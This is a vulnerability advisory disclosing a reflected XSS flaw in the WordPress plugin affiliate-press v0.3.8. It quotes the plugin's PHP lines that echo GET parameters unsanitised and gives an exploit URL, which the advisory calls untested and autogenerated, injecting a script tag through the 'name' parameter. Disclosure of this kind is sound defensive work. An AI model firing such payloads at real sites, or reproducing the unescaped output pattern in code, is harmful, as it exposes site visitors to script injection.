Advisory #: 731
Title: Reflected XSS in wordpress plugin affiliate-press v0.3.8
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/affiliate-press
Downloads: 3454
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: affiliate-press
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./affiliate-press/views/feed-linkto.php: 10: <td><?php echo $_GET['name']; ?><input type="hidden" name="view_referer" id="view_referer" value="<?php echo esc_attr( $view_referer ); ?>" /></td> 14: <td><?php echo $_GET['identifier']; ?><input type="hidden" name="identifier" id="identifier" value="<?php echo esc_attr( $_GET['identifier'] ); ?>" /></td> 18: <td><?php echo $_GET['matches']; ?><input type="hidden" name="matches" id="matches" value="<?php echo esc_attr( $_GET['matches'] ); ?>" /></td> The variable name appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./affiliate-press/views/feed-linkto.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/affiliate-press/views/feed-linkto.php?name="><script>alert(1);</script><"